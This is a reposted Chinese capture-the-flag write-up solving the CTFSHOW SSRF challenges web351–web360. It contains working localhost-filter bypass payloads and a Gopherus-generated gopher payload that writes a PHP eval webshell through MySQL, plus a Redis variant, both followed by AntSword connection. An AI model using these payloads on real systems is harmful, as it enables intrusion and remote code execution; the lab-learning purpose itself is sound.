ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CTFSHOW-SSRF篇

2022-01-25 13:05:10  阅读:274  来源: 互联网

标签:http SSRF url 2500% flag CTFSHOW 255f% php


之前就想着写一下 ctfshow 的 wp,
但由于时间问题,一直没有机会, 其实是懒≥.≤
这次趁着寒假刷几篇ctfshow的文章
那,开始吧。




web351

存在一个flag.php页面,访问会返回不是本地用户的消息,
那我们直接以本地用户去探测内网下的flag.php就可以了

url=http://127.0.0.1/flag.php

web352

增加了http/https的限制

但是注意!这里很多人以为不能有localhost/127.0.0.1,错
他这里的代码写错了

if(!preg_match('/localhost|127.0.0/')

由于没有规定匹配的变量,导致这句话必返回为真
所以上一题的答案依旧可以用
直接拿到flag

url=http://localhost/flag.php

web353

这道题和上一题比较就增加了匹配的变量,不能有localhost/127.0.
绕过方法有很多

进制绕过 		url=http://0x7F000001/flag.php
0.0.0.0绕过		url=http://0.0.0.0/flag.php
特殊的地址0,		url=http://0/flag.php
还有			url=http://127.1/flag.php
还有			url=http://127.0000000000000.001/flag.php

web354

增加了0和1的过滤
这就有些难搞了。。
难道要我买一个域名解析到127.0.0.1 ?
不可能= =坚决白嫖
于是我决定百度找几个

好嘞,问题解决
直接拿flag

url=http://safe.taobao.com//flag.php

域名就放到这里啦

http://safe.taobao.com/
http://114.taobao.com/
http://wifi.aliyun.com/
http://imis.qq.com/
http://localhost.sec.qq.com/
http://ecd.tencent.com/

web355

增加了域名长度小于5的限制

if ((strlen($host) <= 5))

简单,旧方法绕过

特殊的地址0,		url=http://0/flag.php
还有			url=http://127.1/flag.php

web356

将上一题的条件域名长度小于5改成了小于3

特殊的地址0,		url=http://0/flag.php

再次旧方法绕过

值得注意的地方是
0在linux系统中会解析成127.0.0.1,而在windows中会解析成0.0.0.0

web357

增加了一些看不懂的过滤。

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

百度查了一下

过滤器

标志

所以本题要求URL的IP地址不在RFC指定的私有IP范围内(比如 192.168.0.1),且要求值不在保留的IP范围内。

我的想法是通过DNS重绑定来绕过
但国内能买到域名的TTL基本无法为零
所以这里需要用到一个免费网站,可以生成特殊域名来实现dns重绑定
https://lock.cmpxchg8b.com/rebinder.html
但我还没成功,求师傅们指点

另一种方法是302跳转
在自己的vps上写一个php文件,内容为

<?php
header("Location:http://127.0.0.1/flag.php");
?>

然后POST传参

url=http://xx.xx.xx/xxxx.php

服务器会以为是正常ip
但回显信息时会将跳转后的127.0.0.1/flag.php的内容打印

web358

代码中正则的意思是url要以http://ctf.开头,且以show结尾

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

那么可以构造一下绕过

url=http://ctf.@127.0.0.1/flag.php?show

此处ctf.将作为账号登录127.0.0.1,并且向flag.php传一个show参数来绕过

image

拿到flag

web359

题目是一个登录框
hint为打无密码的mysql
image
登录处抓包
image
发现存在reurl参数
并且跳转到check.php文件
此题用到了一个工具Gopherus,用gopher协议打mysql的一个工具
https://github.com/tarunkant/Gopherus

python gopherus.py --exploit mysql
root
select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/aa.php';

image
将生成的字符_后面的再进行一次URL编码
image
得到

%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254c%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2527%2563%256d%2564%2527%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2561%2561%252e%2570%2568%2570%2527%253b%2501%2500%2500%2500%2501

通过POST方式传入
image

连接蚁剑
image

flag.txt在根目录

web360

题目

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

跟上题一样,只不过换成打redis

python gopherus.py --exploit redis
phpshell
<?php eval($_POST['cmd']);?>

image

将生成的字符_后面的再进行一次编码

image

POST传入

image

shell写入的地址默认为/shell.php

image

连接蚁剑

image

根目录下找到flag

image

关于gopher协议

gopher的默认端口是70

image

标签:http,SSRF,url,2500%,flag,CTFSHOW,255f%,php
来源: https://www.cnblogs.com/Icedisaster/p/15837670.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有